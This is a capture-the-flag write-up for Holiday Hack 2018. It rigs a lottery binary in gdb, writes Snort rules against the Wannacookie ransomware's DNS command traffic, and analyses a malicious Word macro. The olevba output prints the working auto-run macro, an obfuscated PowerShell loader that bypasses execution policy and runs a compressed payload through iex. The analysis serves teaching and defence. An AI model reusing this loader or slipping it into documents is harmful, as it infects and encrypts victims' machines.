Holiday Hack 2018: Ransomware Recovery
Objective
This objective has six different tasks to complete. After the initial terminal, the remainding five objectives take place in Santa’s secret room:
Terminal - Sleigh Bell Lottery
Challenge
I’ll find Shinny Upatree up the main stairs just to the right out in front of the speakers tracks:
Hi, I’m Shinny Upatree.
Hey! Mind giving ole’ Shinny Upatree some help? There’s a contest I HAVE to win.
As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!
I’ll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.
WKOdl:;oW
WOo:'.......cW X0KXW
kdxOX x...;.....;c.d Xd;....':d0W
W,....'cd0WN,.,WNd'...d:'N Xl........',.:W
l........':odoK No..,0.k Wx';.....'lOWX.'N
O............,oK O..O;dWl,d'...;xN x.o NXKKKKXN
W,.....,:ccc:,..;kW k.dcdd,k'..,kW 0'cW Xko:'.....:odOKW
d........',;clll:,xWlolx'x;..oN Wx'lW Ko;..........,cxK
N,..,codxkkkxdl:::;:xKlx,k.'O O;,O Ko,....;cdk0KXXXXK0kOW
K,.OW Xkl':k0:o.O Wk;:kNk:..'cd0N
W0kdlc:::cloxk0XW Wkc;lx0KNWW NxlKOxd WOl:dK0l''cdOKK0OOOO0KXNW
W NOo'.........,:oxOkkxlc;,',,,,,,:dK;.dKllx0Oo,;d0XKO0KKXKKKK0OO0KXKKN
NOxodkO00KKK0OOkdoc:,'.,:ldxxxxxdddolx;;xdlcc::cx;0K0KKXXXXXX00KK00OOO0K
WNXK00000KKKK0kxoodl::::ox,.xlK0kdlccdKOOKXXXK000KKKOOOO00000W
X0O0000KXX00000KNK;o;...:0 d,,;lNW 0O0XXK0O0KK0OO0KKK000000
NXNK000O0KKKKKXKKXK000kl:cdK WXK0000000KKKNW00KK0O0K0OO0KKK00XXXXK0OW
WOOOOOO000000OO0KKKKXXOON WX0OOO0XXXXXXXKOOOKK0O0K0OOOKK0O0XXXXXXK0OW
N000000OOOOO0000OO0XXXX0WXOOKXXXXXXXXXXXKKXX0O0XKOO0K0OOKXXXXXXKX0O0
KOKXKOO00000OOOO0KK0OOOK0OOX00KX0KKKKKKK00XXXXOOX0KKO0XXXXXXXXXOO0KW
0OKXXKKKKKK000K0OOO0KKKKOO0KKKKK0000000KKKKKK00OONO0XKO0NNXKKXXXXN
XOO0KXKO0KKKKKOO0K0O0KXK0KXKKKKKKKK000KKKKKKKKK0KKKK0OOONWXK00OKN
0OOW WOOKXXXXKKKK0KNOOOOOKKXXKKKKKKKKKKKKXXKK0OOOOKX00OOO0KXNW
KOO0NKOKXXXXXXXX0O0KXKKKKKK000000000000000KKKKKKNW
WKOOXNKKKKKKKKK0OKW KO0XXKKKKKKKXXXXXXXXXXXKOON
NXKNNKOOO00XN W00KK000K000KXXXXXXXXXKK0X
WW WKOOO0 KOKKKXXXXXX0OON
NKOO0KKNNXKOOOXXOO0XW
WNK0OOO0KXXNNXXN
WWWWWW
I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
But just one elf,
Pulls off the shelf,
The bells to hang on Santa's sleigh!
Please call me Shinny Upatree
I write you now, 'cause I would be
The one who gets -
Whom Santa lets
The bells to hang on Santa's sleigh!
But all us elves do want the job,
Conveying bells through wint'ry mob
To be the one
Toy making's done
The bells to hang on Santa's sleigh!
To make it fair, the Man devised
A fair and simple compromise.
A random chance,
The winner dance!
The bells to hang on Santa's sleigh!
Now here I need your hacker skill.
To be the one would be a thrill!
Please do your best,
And rig this test
The bells to hang on Santa's sleigh!
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@e1a94eac94be:~$
Solution
Assembly Analysis
I’ll load the program up in gdb and check the program out. I’ve added three comments to the disassembly:
elf@48fba90d4080:~$ gdb -q sleighbell-lotto
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000000014ca <+0>: push rbp
0x00000000000014cb <+1>: mov rbp,rsp
0x00000000000014ce <+4>: sub rsp,0x10
0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6]
0x00000000000014d9 <+15>: call 0x970 <getenv@plt>
0x00000000000014de <+20>: test rax,rax
0x00000000000014e1 <+23>: jne 0x14f9 <main+47>
0x00000000000014e3 <+25>: lea rdi,[rip+0x56d6]
0x00000000000014ea <+32>: call 0x910 <puts@plt>
0x00000000000014ef <+37>: mov edi,0xffffffff
0x00000000000014f4 <+42>: call 0x920 <exit@plt>
0x00000000000014f9 <+47>: mov edi,0x0
0x00000000000014fe <+52>: call 0x9e0 <time@plt>
0x0000000000001503 <+57>: mov edi,eax
0x0000000000001505 <+59>: call 0x9a0 <srand@plt>
0x000000000000150a <+64>: lea rdi,[rip+0x583f]
0x0000000000001511 <+71>: call 0x910 <puts@plt>
0x0000000000001516 <+76>: mov edi,0x1
0x000000000000151b <+81>: call 0x960 <sleep@plt>
0x0000000000001520 <+86>: call 0x9c0 <rand@plt>
0x0000000000001525 <+91>: mov ecx,eax
0x0000000000001527 <+93>: mov edx,0x68db8bad
0x000000000000152c <+98>: mov eax,ecx
0x000000000000152e <+100>: imul edx
0x0000000000001530 <+102>: sar edx,0xc
0x0000000000001533 <+105>: mov eax,ecx
0x0000000000001535 <+107>: sar eax,0x1f
0x0000000000001538 <+110>: sub edx,eax
0x000000000000153a <+112>: mov eax,edx # store selected number
0x000000000000153c <+114>: mov DWORD PTR [rbp-0x4],eax
0x000000000000153f <+117>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001542 <+120>: imul eax,eax,0x2710
0x0000000000001548 <+126>: sub ecx,eax
0x000000000000154a <+128>: mov eax,ecx
0x000000000000154c <+130>: mov DWORD PTR [rbp-0x4],eax
0x000000000000154f <+133>: lea rdi,[rip+0x5856]
0x0000000000001556 <+140>: mov eax,0x0
0x000000000000155b <+145>: call 0x8f0 <printf@plt>
0x0000000000001560 <+150>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001563 <+153>: mov esi,eax
0x0000000000001565 <+155>: lea rdi,[rip+0x5858]
0x000000000000156c <+162>: mov eax,0x0
0x0000000000001571 <+167>: call 0x8f0 <printf@plt>
0x0000000000001576 <+172>: lea rdi,[rip+0x584a]
0x000000000000157d <+179>: call 0x910 <puts@plt>
0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9 # compare number to 1225
0x0000000000001589 <+191>: jne 0x1597 <main+205>
0x000000000000158b <+193>: mov eax,0x0
0x0000000000001590 <+198>: call 0xfd7 <winnerwinner> # call winner function
0x0000000000001595 <+203>: jmp 0x15a1 <main+215>
0x0000000000001597 <+205>: mov eax,0x0
0x000000000000159c <+210>: call 0x14b7 <sorry>
0x00000000000015a1 <+215>: mov edi,0x0
0x00000000000015a6 <+220>: call 0x920 <exit@plt>
End of assembler dump.
More on the three commented lines:
0x000000000000153a <+112>: mov eax,edx
- This is where the pseudo-randomly generated number, my ticket, is stored in EAX. This will be compared to 1225.- ` 0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9` - Compare the ticket number to 0x4c9, which is 1225.
0x0000000000001590 <+198>: call 0xfd7 <winnerwinner>
- Function that’s called if ticket matches.
I see two ways to win from here using gdb
.
Fix Number
My initial gut solution was to put a break point at the instruction after 0x153a
, 0x153c
. Then, set rax
to 1225, and then let things run:
elf@48fba90d4080:~$ gdb -q sleighbell-lotto
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) b *main+130
Breakpoint 1 at 0x154c
(gdb) r
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
Breakpoint 1, 0x000055555555554c in main ()
(gdb) set $rax=1225
(gdb) c
Continuing.
You drew ticket number 1225!
..... ......
..,;:::::cccodkkkkkkkkkxdc;. .......
.';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
.;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
.:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........
'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ......
;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
.xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
:olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
...................,',,:lxkkkkkkkkkkkkkd.
..........................';;:coxkkkkk:
...............................ckd.
...............................
...........................
.......................
....... ...
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 54) exited normally]
That works, and I complete the challenge, marking another achievement:
Jump to Win Function
Looking at the hints from the elves, there’s an alternative method, that might be easier (or at least just as easy).
I’ll set a breakpoint at main, run to that break, and then just jump to the winnerwinner
function.
elf@48fba90d4080:~$ gdb -q sleighbell-lotto
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x14ce
(gdb) r
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) jump winnerwinner
Continuing at 0x555555554fdb.
c
..... ......
..,;:::::cccodkkkkkkkkkxdc;. .......
.';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
.;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
.:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........
'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ......
;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
.xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
:olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
...................,',,:lxkkkkkkkkkkkkkd.
..........................';;:coxkkkkk:
...............................ckd.
...............................
...........................
.......................
....... ...
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 60) exited normally]
Hints
On solving, Shinny gives me a bunch of information about Wannacookie:
Sweet candy goodness - I win! Thank you so much!
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
It also unlocks a hint (interestingly from Alabaster, not Shinny):
Catch the Malware
Overview
Alabaster gives me the background:
Help, all of our computers have been encrypted by ransomware!
I came here to help but got locked in ‘cause I dropped my “Alabaster Snowball” badge in a rush.
I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!
Unfortunately, the password database I keep on my computer was encrypted, so now I don’t have access to any of our systems.
If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!
On logging into the terminal, I get:
_ __ _ _ _____ _ _
| |/ / (_) | | / ____| | | | |
| ' / _ __ _ _ __ __ _| | ___| | __ _ ___| |_| | ___
| < | '__| | '_ \ / _` | |/ _ \ | / _` / __| __| |/ _ \
| . \| | | | | | | (_| | | __/ |___| (_| \__ \ |_| | __/
|_|\_\_| |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
/ ____| __/ | | |
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
| (___ |___/ ___ _ __| |_
\___ \| '_ \ / _ \| '__| __|
____) | | | | (_) | | | |_
|_____/|_|_|_|\___/|_|_ \__|
|_ _| __ \ / ____|
| | | | | | (___
_____ | | | | | |\___ \ __
/ ____| _| |_| |__| |____) | /_ |
| (___ |_____|_____/|_____/ _ __ | |
\___ \ / _ \ '_ \/ __|/ _ \| '__| | |
____) | __/ | | \__ \ (_) | | | |
|_____/ \___|_| |_|___/\___/|_| |_|
============================================================
INTRO:
Kringle Castle is currently under attacked by new piece of
ransomware that is encrypting all the elves files. Your
job is to configure snort to alert on ONLY the bad
ransomware traffic.
GOAL:
Create a snort rule that will alert ONLY on bad ransomware
traffic by adding it to snorts /etc/snort/rules/local.rules
file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
Successfully create a snort rule that matches ONLY
bad DNS traffic and NOT legitimate user traffic and the
system will notify you of your success.
Check out ~/more_info.txt for additional information.
elf@ca68e11c218e:~$
more_info.txt
has more info:
elf@ca68e11c218e:~$ cat more_info.txt
MORE INFO:
A full capture of DNS traffic for the last 30 seconds is
constantly updated to:
/home/elf/snort.log.pcap
You can also test your snort rule by running:
snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
This will create an alert file at ~/snort_logs/alert
This sensor also hosts an nginx web server to access the
last 5 minutes worth of pcaps for offline analysis. These
can be viewed by logging into:
http://snortsensor1.kringlecastle.com/
Using the credentials:
----------------------
Username | elf
Password | onashelf
tshark and tcpdump have also been provided on this sensor.
HINT:
Malware authors often user dynamic domain names and
IP addresses that change frequently within minutes or even
seconds to make detecting and block malware more difficult.
As such, its a good idea to analyze traffic to find patterns
and match upon these patterns instead of just IP/domains.
pcap Analysis
I downloaded two example pcaps from https://snortsensor1.kringlecastle.com/ and used tshark
to get an overview of what was going on in each by checking out what protocols were in use with the command tshark -r [pcap] -qz io,phs
:
-r [pcap]
- read from pcap file-q
- don’t display information about each packet-z io,phs
- get tshark to collect stats about the pcap, whereio,phs
says to collect protocol hierarchy stats
root@kali# tshark -qz io,phs -r snort.log.1545825052.938963.pcap
===================================================================
Protocol Hierarchy Statistics
Filter:
ip frames:390 bytes:82053
udp frames:390 bytes:82053
dns frames:390 bytes:82053
===================================================================
root@kali# tshark -qz io,phs -r snort.log.1545826087.2636702.pcap
===================================================================
Protocol Hierarchy Statistics
Filter:
ip frames:390 bytes:82445
udp frames:390 bytes:82445
dns frames:390 bytes:82445
===================================================================
That output indicates that both pcaps have only dns over udp traffic, which is consistent with the description of Wannacookie from Shinny.
Next, I’ll want to see the domains being queried, using tshark -r [pcap] -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0"
, where the new options are:
-
-T fields
- set the format of the output to be the value of fields defined with the-e
option -
-e [field]
- include this field in the output -
-Y [filter]
- only include packets that meet the given filter, in this case, not dns responsesNote: Most documentation I found suggests
-R
for this, but that option is deprecated in the latesttshark
version in favor of-Y
for this scenario
root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" | head
10.126.0.165 77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.91 phryma.oversecured.aliexpress.com
10.126.0.95 77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.95 0.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.98 epoxide.wikipedia.org
10.126.0.165 0.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.165 1.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.148 tsaritsyn.frays.brandie.live.com
10.126.0.95 1.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165 2.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
I used head
to just look at the first ten lines output, but already I see some interesting domain queries that look like they could be being used as C2 coming from .165 and .95.
If I run that same tshark
query through a grep to select only lines that include 30 or more hex characters in a row, I get what looks like potentially only the malicious traffic, and I’m down to 130 of the 195 queries in the pcap:
root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | head
10.126.0.165 77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.95 0.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165 0.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.165 1.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 1.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165 2.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 2.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165 3.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 3.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | wc -l
130
I’m also curious to look at the second level domain (SLD) (ie rhgbuhares
) and top level domain (TLD) (ie org
) and how that correlates to the source (infected) ip.
I’ll use a longer bash loop to do this. I won’t go into each argument, but the loop:
- loops over the lines with ip and domain queried (
while read line; do
) - uses cut to get only the ip and saves that to a variable (
IP=$(echo ${line} | cut -d' ' -f1);
) - uses cut to get the domain string; to get just the SLD domain when I don’t know the number of subdomains, I’ll reverse the string, cut on
.
and grab the first two fields, then reverse that back (SLD=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev);
). - print the IP and TLD and finish the loop (
echo "$IP $SLD"; done
).
I’ll pipe that output into sort | uniq -c | sort -nr
to get a count of how many times each IP/TLD pair appear.
root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | while read line; do IP=$(echo ${line} | cut -d' ' -f1); ROOT=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev); echo "$IP $ROOT"; done | sort | uniq -c | sort -nr
65 10.126.0.95 rngbuhares.org
65 10.126.0.165 rhbrasegnu.com
If I check the other pcap I’m working with, I get a similar result, with different infected ips contacting different SLDs:
root@kali# tshark -r snort.log.1545826087.2636702.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | while read line; do IP=$(echo ${line} | cut -d' ' -f1); ROOT=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev); echo "$IP $ROOT"; done | sort | uniq -c | sort -nr
65 10.126.0.66 sbugearnrh.net
65 10.126.0.24 hsbgenurar.com
Snort Rule
I was able to come up with two snort rules that both registered successfully.
30+ Hex Characters
While I could (and will) go into more detail about the specific structure of the C2, I see to have stumbled on a potential signature for the virus traffic - 30 or more hex characters. In real life, this would be too weak a signature, and would get false positives. But I’m going to see what happens here.
I’ll create the following snort rule:
alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";pcre:"/[A-F0-9]{30,}/";sid:1000001;)
The rule header is made up of the first 7 fields, space separated:
alert
- the rule action, what happens when this rule matches; in addition to alerting, you could log, pass the packet, drop the packet, reject the packet, etc.udp
- the protocol to look atany any
- source ip and port<>
- direction operator;->
matches traffic from source to destination, where<>
matches in both directionsany 53
- destination ip and port, and in this case, I’m looking for port 53 (dns) traffic
The rule options are inside ()
, and made up of key: value;
:
msg
- what should print to the log when this matchespcre
- defines a regular expression that the be run against the content of each packet, and must match for this rule to alertsid
- the rule id number, used to uniquely (at least within one deployment) identify rules
I’ll add my rule to /etc/snort/rules/local.rules
as instructed, and then when the periodic update runs, it returns successful:
elf@e6c360e5b14a:~$ cat /etc/snort/rules/local.rules
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
# ----------------
# LOCAL RULES
# ----------------
# This file intentionally does not come with signatures. Put your local
# additions here.
alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";pcre:"/[A-F0-9]{30,}/";sid:1000001;)
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
[+]
Wannacookie.min.ps1
Looking more closely at the malicious traffic, it’s all going to domains with the subdomain 77616E6E61636F6F6B69652E6D696E2E707331. The characters in the string are all hex, and it decodes as ascii to “wannacookie.min.ps1”:
iroot@kali# echo 77616E6E61636F6F6B69652E6D696E2E707331 | xxd -r -p
wannacookie.min.ps1
To check the hypothesis that this string is in all the malicious domains, I’ll use tshark into grep like above to get the list of domains, and then I’ll grep again, this time with -v 77616E6E61636F6F6B69652E6D696E2E707331
to remove lines containing that
string. The fact that I get no returns indicates the string is in every domain:
root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" | grep -E "[0-9A-F]{30,}" | grep -v 77616E6E61636F6F6B69652E6D696E2E707331
root@kali#
From this I can tighten my snort signature, using the content keyword instead of pcre:
elf@100303aad2e2:~$ cat /etc/snort/rules/local.rules
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
# ----------------
# LOCAL RULES
# ----------------
# This file intentionally does not come with signatures. Put your local
# additions here.
alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";content:"77616E6E61636F6F6B69652E6D69
6E2E707331";sid:1000001;)
elf@100303aad2e2:~$
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
[+]
Identify the Domain
Overview
Alabaster provides the next task:
Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you’re pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?
All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.
He also unlocked a new hint:
</a>
The file is a .docm
file. .docm
files are like .docx
files, in that they are documents saved in the newer Microsoft Open XML format (as opposed to the older Microsoft Word Binary File Format). However, a .docx
file cannot run macros, whereas a .docm
file is enabled to run macros. Office macros are a very common attack vector for initial access using spearphishing with attachments.
Tools
To look at this document, I’ll start with olevba
, available as a part of oletools. This is the tool that Alabaster recommended, and one I’ve blogged about before. To install, simply pip install oletools
on a Linux operating system.
Extract / Analyze VBA
I’ll use olevba
to extract the vba macros from the document. olevba
outputs all of the macros that it finds, followed by a table of potentially risky code:
root@kali# olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
olevba 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
+------------+-----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+-----------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| AutoExec | Document_Open | Runs when the Word or Publisher |
| | | document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | powershell | May run PowerShell commands |
| Suspicious | ExecutionPolicy | May run PowerShell commands |
| Suspicious | New-Object | May create an OLE object using |
| | | PowerShell |
| IOC | powershell.exe | Executable file name |
+------------+-----------------+-----------------------------------------+
There’s two macros set to run on when the document is opened, a document_open and a AutoOpen. Each seem to have the same code:
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
This macro creates a string that is a PowerShell command, and then invokes it using Shell
. The PowerShell
runs PowerShell with the following options:
-NoE
- Short for-NoExit
, don’t exit after running initial commands-Nop
- Short for-NoProfile
, don’t load user profile-NonI
- Short for-NonInteractive
, don’t show the user an interactive prompt-ExecutionPolicy Bypass
- Bypass any execution policies-C
- Run the string that follows as a PowerShell command.
PowerShell Analysis
After cleaning up the command by adding whitespace and expanding some of the aliases (including the first line, which uses sal
= Set-Alias
to make a
an alias for New-Object
), I’m left with this:
Invoke-Expression(
New-Object IO.StreamReader(
New-Object IO.Compression.DeflateStream(
New-Object IO.MemoryStream (,
[Convert]::FromBase64String([base64 string]),
),
[IO.Compression.CompressionMode]::Decompress)
),
[Text.Encoding]::ASCII)
).ReadToEnd();
Working from the inside out, the command string run by PowerShell takes the following steps:
- Use the
FromBase64String
static method from theSystem.Convert
.net class to base64 decode a long base64 string. - Create a new memory stream object from the decoded bytes using
[IO.MemoryStream]
(which is short forNew-Object IO.MemoryStream()
) - Create a
IO.Compression.DeflateStream
object with the bytes, using theDecompress
mode. - Use an instance of
IO.StreamReader
to convert the decompressed byte stream into an ASCII string.ReadToEnd()
is called on this stream. - The resulting ASCII string is the deobfuscated script, which is passed to
Invoke-Expression
(iex
) to execute.
So to figure out what is run, I’ll simply need to take the base64, decode it, and then deflate the results. This seems like a great case for Cyberchef:
The result looks like:
function H2A($a) {
$o;
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
return $o
};
